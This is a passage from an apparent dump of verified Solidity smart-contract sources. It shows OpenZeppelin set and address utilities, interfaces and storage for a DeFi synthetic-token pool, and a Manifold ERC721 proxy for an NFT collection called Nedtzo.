set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(AddressSet storage set) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n address[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(UintSet storage set) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n uint256[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n}\n"
|
55 |
+
},
|
56 |
+
"contracts/interfaces/IDebtToken.sol": {
|
57 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../dependencies/openzeppelin/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./ISyntheticToken.sol\";\n\ninterface IDebtToken is IERC20Metadata {\n function isActive() external view returns (bool);\n\n function syntheticToken() external view returns (ISyntheticToken);\n\n function accrueInterest() external;\n\n function debtIndex() external returns (uint256 debtIndex_);\n\n function burn(address from_, uint256 amount_) external;\n\n function issue(uint256 amount_, address to_) external;\n\n function repay(address onBehalfOf_, uint256 amount_) external;\n\n function updateMaxTotalSupply(uint256 newMaxTotalSupply_) external;\n\n function updateInterestRate(uint256 newInterestRate_) external;\n\n function maxTotalSupply() external view returns (uint256);\n\n function interestRate() external view returns (uint256);\n\n function interestRatePerSecond() external view returns (uint256);\n\n function toggleIsActive() external;\n}\n"
|
58 |
+
},
|
59 |
+
"contracts/interfaces/IDepositToken.sol": {
|
60 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../dependencies/openzeppelin/token/ERC20/extensions/IERC20Metadata.sol\";\n\ninterface IDepositToken is IERC20Metadata {\n function underlying() external view returns (IERC20);\n\n function collateralizationRatio() external view returns (uint256);\n\n function unlockedBalanceOf(address account_) external view returns (uint256);\n\n function lockedBalanceOf(address account_) external view returns (uint256);\n\n function deposit(uint256 amount_, address onBehalfOf_) external;\n\n function withdraw(uint256 amount_, address to_) external;\n\n function seize(\n address from_,\n address to_,\n uint256 amount_\n ) external;\n\n function updateCollateralizationRatio(uint128 newCollateralizationRatio_) external;\n\n function isActive() external view returns (bool);\n\n function toggleIsActive() external;\n\n function maxTotalSupply() external view returns (uint256);\n\n function updateMaxTotalSupply(uint256 newMaxTotalSupply_) external;\n}\n"
|
61 |
+
},
|
62 |
+
"contracts/interfaces/IGovernable.sol": {
|
63 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @notice Governable interface\n */\ninterface IGovernable {\n function governor() external view returns (address _governor);\n\n function transferGovernorship(address _proposedGovernor) external;\n}\n"
|
64 |
+
},
|
65 |
+
"contracts/interfaces/IPauseable.sol": {
|
66 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\ninterface IPauseable {\n function paused() external view returns (bool);\n\n function everythingStopped() external view returns (bool);\n}\n"
|
67 |
+
},
|
68 |
+
"contracts/interfaces/IPool.sol": {
|
69 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IDepositToken.sol\";\nimport \"./ITreasury.sol\";\nimport \"./IRewardsDistributor.sol\";\nimport \"./IPoolRegistry.sol\";\n\n/**\n * @notice Pool interface\n */\ninterface IPool is IPauseable, IGovernable {\n function debtFloorInUsd() external view returns (uint256);\n\n function depositFee() external view returns (uint256);\n\n function issueFee() external view returns (uint256);\n\n function withdrawFee() external view returns (uint256);\n\n function repayFee() external view returns (uint256);\n\n function swapFee() external view returns (uint256);\n\n function feeCollector() external view returns (address);\n\n function maxLiquidable() external view returns (uint256);\n\n function isSyntheticTokenExists(ISyntheticToken syntheticToken_) external view returns (bool);\n\n function isDebtTokenExists(IDebtToken debtToken_) external view returns (bool);\n\n function isDepositTokenExists(IDepositToken depositToken_) external view returns (bool);\n\n function depositTokenOf(IERC20 underlying_) external view returns (IDepositToken);\n\n function debtTokenOf(ISyntheticToken syntheticToken_) external view returns (IDebtToken);\n\n function getDepositTokens() external view returns (address[] memory);\n\n function getDebtTokens() external view returns (address[] memory);\n\n function getRewardsDistributors() external view returns (IRewardsDistributor[] memory);\n\n function debtOf(address account_) external view returns (uint256 _debtInUsd);\n\n function depositOf(address account_) external view returns (uint256 _depositInUsd, uint256 _issuableLimitInUsd);\n\n function debtPositionOf(address account_)\n external\n view\n returns (\n bool _isHealthy,\n uint256 _depositInUsd,\n uint256 _debtInUsd,\n uint256 _issuableLimitInUsd,\n uint256 _issuableInUsd\n );\n\n function addDebtToken(IDebtToken debtToken_) external;\n\n function removeDebtToken(IDebtToken debtToken_) external;\n\n function addDepositToken(address depositToken_) external;\n\n function removeDepositToken(IDepositToken depositToken_) external;\n\n function liquidate(\n ISyntheticToken syntheticToken_,\n address account_,\n uint256 amountToRepay_,\n IDepositToken depositToken_\n ) external;\n\n function swap(\n ISyntheticToken syntheticTokenIn_,\n ISyntheticToken syntheticTokenOut_,\n uint256 amountIn_\n ) external returns (uint256 _amountOut);\n\n function updateSwapFee(uint256 newSwapFee_) external;\n\n function updateDebtFloor(uint256 newDebtFloorInUsd_) external;\n\n function updateDepositFee(uint256 newDepositFee_) external;\n\n function updateIssueFee(uint256 newIssueFee_) external;\n\n function updateWithdrawFee(uint256 newWithdrawFee_) external;\n\n function updateRepayFee(uint256 newRepayFee_) external;\n\n function updateLiquidatorLiquidationFee(uint128 newLiquidatorLiquidationFee_) external;\n\n function updateProtocolLiquidationFee(uint128 newProtocolLiquidationFee_) external;\n\n function updateMaxLiquidable(uint256 newMaxLiquidable_) external;\n\n function updateTreasury(ITreasury newTreasury_) external;\n\n function treasury() external view returns (ITreasury);\n\n function masterOracle() external view returns (IMasterOracle);\n\n function poolRegistry() external view returns (IPoolRegistry);\n\n function addToDepositTokensOfAccount(address account_) external;\n\n function removeFromDepositTokensOfAccount(address account_) external;\n\n function addToDebtTokensOfAccount(address account_) external;\n\n function removeFromDebtTokensOfAccount(address account_) external;\n\n function getDepositTokensOfAccount(address account_) external view returns (address[] memory);\n\n function getDebtTokensOfAccount(address account_) external view returns (address[] memory);\n\n function addRewardsDistributor(IRewardsDistributor distributor_) external;\n\n function removeRewardsDistributor(IRewardsDistributor distributor_) external;\n\n function toggleIsSwapActive() external;\n\n function isSwapActive() external view returns (bool);\n}\n"
|
70 |
+
},
|
71 |
+
"contracts/interfaces/IPoolRegistry.sol": {
|
72 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./external/IMasterOracle.sol\";\nimport \"./IPauseable.sol\";\nimport \"./IGovernable.sol\";\nimport \"./ISyntheticToken.sol\";\n\ninterface IPoolRegistry is IPauseable, IGovernable {\n function poolExists(address pool_) external view returns (bool);\n\n function feeCollector() external view returns (address);\n\n function getPools() external view returns (address[] memory);\n\n function registerPool(address pool_) external;\n\n function unregisterPool(address pool_) external;\n\n function masterOracle() external view returns (IMasterOracle);\n\n function updateMasterOracle(IMasterOracle newOracle_) external;\n}\n"
|
73 |
+
},
|
74 |
+
"contracts/interfaces/IRewardsDistributor.sol": {
|
75 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../dependencies/openzeppelin/token/ERC20/IERC20.sol\";\n\n/**\n * @notice Reward Distributor interface\n */\ninterface IRewardsDistributor {\n function rewardToken() external view returns (IERC20);\n\n function tokenSpeeds(IERC20 token_) external view returns (uint256);\n\n function tokensAccruedOf(address account_) external view returns (uint256);\n\n function updateBeforeMintOrBurn(IERC20 token_, address account_) external;\n\n function updateBeforeTransfer(\n IERC20 token_,\n address from_,\n address to_\n ) external;\n\n function claimRewards(address account_) external;\n\n function claimRewards(address account_, IERC20[] memory tokens_) external;\n\n function claimRewards(address[] memory accounts_, IERC20[] memory tokens_) external;\n}\n"
|
76 |
+
},
|
77 |
+
"contracts/interfaces/ISyntheticToken.sol": {
|
78 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../dependencies/openzeppelin/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./IDebtToken.sol\";\n\ninterface ISyntheticToken is IERC20Metadata {\n function isActive() external view returns (bool);\n\n function mint(address to_, uint256 amount_) external;\n\n function burn(address from_, uint256 amount) external;\n\n function toggleIsActive() external;\n\n function seize(\n address from_,\n address to_,\n uint256 amount_\n ) external;\n\n function updateMaxTotalSupply(uint256 newMaxTotalSupply_) external;\n}\n"
|
79 |
+
},
|
80 |
+
"contracts/interfaces/ITreasury.sol": {
|
81 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\ninterface ITreasury {\n function pull(address to_, uint256 amount_) external;\n\n function migrateTo(address newTreasury_) external;\n}\n"
|
82 |
+
},
|
83 |
+
"contracts/interfaces/external/IMasterOracle.sol": {
|
84 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\ninterface IMasterOracle {\n function quoteTokenToUsd(address _asset, uint256 _amount) external view returns (uint256 _amountInUsd);\n\n function quoteUsdToToken(address _asset, uint256 _amountInUsd) external view returns (uint256 _amount);\n\n function quote(\n address _assetIn,\n address _assetOut,\n uint256 _amountIn\n ) external view returns (uint256 _amountOut);\n}\n"
|
85 |
+
},
|
86 |
+
"contracts/lib/MappedEnumerableSet.sol": {
|
87 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev EnumerableSet fork to support `address => address[]` mapping\n * @dev Forked from OZ 4.3.2\n */\nlibrary MappedEnumerableSet {\n struct Set {\n // Storage of set values\n address[] _values;\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping(address => uint256) _indexes;\n }\n\n struct AddressSet {\n mapping(address => Set) _ofAddress;\n }\n\n function _add(\n AddressSet storage set,\n address _key,\n address value\n ) private returns (bool) {\n if (!_contains(set, _key, value)) {\n set._ofAddress[_key]._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._ofAddress[_key]._indexes[value] = set._ofAddress[_key]._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n function _remove(\n AddressSet storage set,\n address _key,\n address value\n ) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._ofAddress[_key]._indexes[value];\n\n if (valueIndex != 0) {\n // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._ofAddress[_key]._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n address lastvalue = set._ofAddress[_key]._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._ofAddress[_key]._values[toDeleteIndex] = lastvalue;\n // Update the index for the moved value\n set._ofAddress[_key]._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\n }\n\n // Delete the slot where the moved value was stored\n set._ofAddress[_key]._values.pop();\n\n // Delete the index for the deleted slot\n delete set._ofAddress[_key]._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n AddressSet storage set,\n address _key,\n address value\n ) private view returns (bool) {\n return set._ofAddress[_key]._indexes[value] != 0;\n }\n\n function _length(AddressSet storage set, address _key) private view returns (uint256) {\n return set._ofAddress[_key]._values.length;\n }\n\n function _at(\n AddressSet storage set,\n address _key,\n uint256 index\n ) private view returns (address) {\n return set._ofAddress[_key]._values[index];\n }\n\n function _values(AddressSet storage set, address _key) private view returns (address[] memory) {\n return set._ofAddress[_key]._values;\n }\n\n function add(\n AddressSet storage set,\n address key,\n address value\n ) internal returns (bool) {\n return _add(set, key, value);\n }\n\n function remove(\n AddressSet storage set,\n address key,\n address value\n ) internal returns (bool) {\n return _remove(set, key, value);\n }\n\n function contains(\n AddressSet storage set,\n address key,\n address value\n ) internal view returns (bool) {\n return _contains(set, key, value);\n }\n\n function length(AddressSet storage set, address key) internal view returns (uint256) {\n return _length(set, key);\n }\n\n function at(\n AddressSet storage set,\n address key,\n uint256 index\n ) internal view returns (address) {\n return _at(set, key, index);\n }\n\n function values(AddressSet storage set, address key) internal view returns (address[] memory) {\n address[] memory store = _values(set, key);\n address[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n}\n"
|
88 |
+
},
|
89 |
+
"contracts/lib/WadRayMath.sol": {
|
90 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @title Math library\n * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)\n * @dev Based on https://github.com/dapphub/ds-math/blob/master/src/math.sol\n */\nlibrary WadRayMath {\n uint256 internal constant WAD = 1e18;\n uint256 internal constant HALF_WAD = WAD / 2;\n\n uint256 internal constant RAY = 1e27;\n uint256 internal constant HALF_RAY = RAY / 2;\n\n uint256 internal constant WAD_RAY_RATIO = 1e9;\n\n /**\n * @dev Multiplies two wad, rounding half up to the nearest wad\n * @param a Wad\n * @param b Wad\n * @return The result of a*b, in wad\n */\n function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0 || b == 0) {\n return 0;\n }\n\n return (a * b + HALF_WAD) / WAD;\n }\n\n /**\n * @dev Divides two wad, rounding half up to the nearest wad\n * @param a Wad\n * @param b Wad\n * @return The result of a/b, in wad\n */\n function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a * WAD + b / 2) / b;\n }\n}\n"
|
91 |
+
},
|
92 |
+
"contracts/storage/PoolStorage.sol": {
|
93 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../dependencies/openzeppelin/utils/structs/EnumerableSet.sol\";\nimport \"../lib/MappedEnumerableSet.sol\";\nimport \"../interfaces/IPool.sol\";\n\nabstract contract PoolStorageV1 is IPool {\n struct LiquidationFees {\n uint128 liquidatorFee;\n uint128 protocolFee;\n }\n\n /**\n * @notice The debt floor (in USD) for each synthetic token\n * This parameters is used to keep incentive for liquidators (i.e. cover gas and provide enough profit)\n */\n uint256 public debtFloorInUsd;\n\n /**\n * @notice The fee charged when depositing collateral\n * @dev Use 18 decimals (e.g. 1e16 = 1%)\n */\n uint256 public depositFee;\n\n /**\n * @notice The fee charged when minting a synthetic token\n * @dev Use 18 decimals (e.g. 1e16 = 1%)\n */\n uint256 public issueFee;\n\n /**\n * @notice The fee charged when withdrawing collateral\n * @dev Use 18 decimals (e.g. 1e16 = 1%)\n */\n uint256 public withdrawFee;\n\n /**\n * @notice The fee charged when repaying debt\n * @dev Use 18 decimals (e.g. 1e16 = 1%)\n */\n uint256 public repayFee;\n\n /**\n * @notice The fee charged when swapping synthetic tokens\n * @dev Use 18 decimals (e.g. 1e16 = 1%)\n */\n uint256 public swapFee;\n\n /**\n * @notice The fees charged when liquidating a position\n * @dev Use 18 decimals (e.g. 1e16 = 1%)\n */\n LiquidationFees public liquidationFees;\n\n /**\n * @notice The max percent of the debt allowed to liquidate\n * @dev Use 18 decimals (e.g. 1e16 = 1%)\n */\n uint256 public maxLiquidable;\n\n /**\n * @notice PoolRegistry\n */\n IPoolRegistry public poolRegistry;\n\n /**\n * @notice Swap feature on/off flag\n */\n bool public isSwapActive;\n\n /**\n * @notice Treasury contract\n */\n ITreasury public treasury;\n\n /**\n * @notice Represents collateral's deposits\n */\n EnumerableSet.AddressSet internal depositTokens;\n\n /**\n * @notice Get the deposit token's address from given underlying asset\n */\n mapping(IERC20 => IDepositToken) public depositTokenOf;\n\n /**\n * @notice Available debt tokens\n */\n EnumerableSet.AddressSet internal debtTokens;\n\n /**\n * @notice Per-account deposit tokens (i.e. tokens that user has balance > 0)\n */\n MappedEnumerableSet.AddressSet internal depositTokensOfAccount;\n\n /**\n * @notice Per-account debt tokens (i.e. tokens that user has balance > 0)\n */\n MappedEnumerableSet.AddressSet internal debtTokensOfAccount;\n\n /**\n * @notice RewardsDistributor contracts\n */\n IRewardsDistributor[] internal rewardsDistributors;\n\n /**\n * @notice Get the debt token's address from given synthetic asset\n */\n mapping(ISyntheticToken => IDebtToken) public debtTokenOf;\n}\n"
|
94 |
+
},
|
95 |
+
"contracts/utils/Pauseable.sol": {
|
96 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../interfaces/IPauseable.sol\";\nimport \"../access/Governable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n */\nabstract contract Pauseable is IPauseable, Governable {\n /// @notice Emitted when contract is turned on\n event Open(address caller);\n\n /// @notice Emitted when contract is paused\n event Paused(address caller);\n\n /// @notice Emitted when contract is shuted down\n event Shutdown(address caller);\n\n /// @notice Emitted when contract is unpaused\n event Unpaused(address caller);\n\n bool private _paused;\n bool private _everythingStopped;\n\n /**\n * @dev Throws if contract is paused\n */\n modifier whenNotPaused() {\n require(!paused(), \"paused\");\n _;\n }\n\n /**\n * @dev Throws if contract is shutdown\n */\n modifier whenNotShutdown() {\n require(!everythingStopped(), \"shutdown\");\n _;\n }\n\n /**\n * @dev Throws if contract is not paused\n */\n modifier whenPaused() {\n require(paused(), \"not-paused\");\n _;\n }\n\n /**\n * @dev Throws if contract is not shutdown\n */\n modifier whenShutdown() {\n require(everythingStopped(), \"not-shutdown\");\n _;\n }\n\n /**\n * @dev If inheriting child is using proxy then child contract can use\n * __Pauseable_init() function to initialization this contract\n */\n // solhint-disable-next-line func-name-mixedcase\n function __Pauseable_init() internal initializer {\n __Governable_init();\n }\n\n /**\n * @notice Return `true` if contract is shutdown\n */\n function everythingStopped() public view virtual returns (bool) {\n return _everythingStopped;\n }\n\n /**\n * @notice Return `true` if contract is paused\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Open contract operations, if contract is in shutdown state\n */\n function open() external virtual whenShutdown onlyGovernor {\n _everythingStopped = false;\n emit Open(msg.sender);\n }\n\n /**\n * @dev Pause contract operations, if contract is not paused.\n */\n function pause() external virtual whenNotPaused onlyGovernor {\n _paused = true;\n emit Paused(msg.sender);\n }\n\n /**\n * @dev Shutdown contract operations, if not already shutdown.\n */\n function shutdown() external virtual whenNotShutdown onlyGovernor {\n _everythingStopped = true;\n _paused = true;\n emit Shutdown(msg.sender);\n }\n\n /**\n * @dev Unpause contract operations, allow only if contract is paused and not shutdown.\n */\n function unpause() external virtual whenPaused whenNotShutdown onlyGovernor {\n _paused = false;\n emit Unpaused(msg.sender);\n }\n}\n"
|
97 |
+
},
|
98 |
+
"contracts/utils/TokenHolder.sol": {
|
99 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../dependencies/openzeppelin/token/ERC20/utils/SafeERC20.sol\";\n\n/**\n * @title Utils contract that handles tokens sent to it\n */\nabstract contract TokenHolder {\n using SafeERC20 for IERC20;\n\n /**\n * @dev Revert fallback calls\n */\n fallback() external payable {\n revert(\"fallback-not-allowed\");\n }\n\n /**\n * @dev Revert when receiving by default\n */\n receive() external payable virtual {\n revert(\"receive-not-allowed\");\n }\n\n /**\n * @notice ERC20 recovery in case of stuck tokens due direct transfers to the contract address.\n * @param token_ The token to transfer\n * @param to_ The recipient of the transfer\n * @param amount_ The amount to send\n */\n function sweep(\n IERC20 token_,\n address to_,\n uint256 amount_\n ) external {\n _requireCanSweep();\n\n if (address(token_) == address(0)) {\n Address.sendValue(payable(to_), amount_);\n } else {\n token_.safeTransfer(to_, amount_);\n }\n }\n\n /**\n * @notice Function that reverts if the caller isn't allowed to sweep tokens\n */\n function _requireCanSweep() internal view virtual;\n}\n"
|
100 |
+
}
|
101 |
+
}
|
102 |
+
}
|
organized_contracts/00/0000f2d83ae998c42325ec38f81c0cd1694a48cb50e46fd373c1468f548f66f3/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"Pool","CompilerVersion":"v0.8.9+commit.e5eed63a","Runs":200,"OptimizationUsed":true,"BytecodeHash":"0000f2d83ae998c42325ec38f81c0cd1694a48cb50e46fd373c1468f548f66f3"}
|
organized_contracts/00/0001164e08b9e5ceb8a68c962e6543b4f5e671569189fa82284ac83edd6a888c/contract.json
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"language": "Solidity",
|
3 |
+
"sources": {
|
4 |
+
"contracts/ERC721Creator.sol": {
|
5 |
+
"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC721Creator is Proxy {\n \n constructor(string memory name, string memory symbol) {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;\n Address.functionDelegateCall(\n 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,\n abi.encodeWithSignature(\"initialize(string,string)\", name, symbol)\n );\n }\n \n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
|
6 |
+
},
|
7 |
+
"contracts/NEDTZO.sol": {
|
8 |
+
"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: Nedtzo\n/// @author: manifold.xyz\n\nimport \"./ERC721Creator.sol\";\n\n/////////////////////////////////////////////////////////////////////////////////////////\n// //\n// //\n// ............................................................................. //\n// ............................................................................. //\n// .###,....###..###########..#########*,..######*..,*..##########..###########. //\n// .####*,..###..###********..###*****###..****#.,****..******###*..###*****###. //\n// .###*##*,###..########*....###.....###......###.........*###*....###.....###. //\n// .###..*#####..###****.,,,..###,,,,,###......###......,*###*,,,,..###,,,,,###. //\n// .###...*####..####*,*####..##########*......###......##########..###########. //\n// ............................................................................. //\n// ............................................................................. //\n// //\n// //\n/////////////////////////////////////////////////////////////////////////////////////////\n\n\ncontract NEDTZO is ERC721Creator {\n constructor() ERC721Creator(\"Nedtzo\", \"NEDTZO\") {}\n}\n"
|
9 |
+
},
|
10 |
+
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
|
11 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
|
12 |
+
},
|
13 |
+
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
|
14 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create 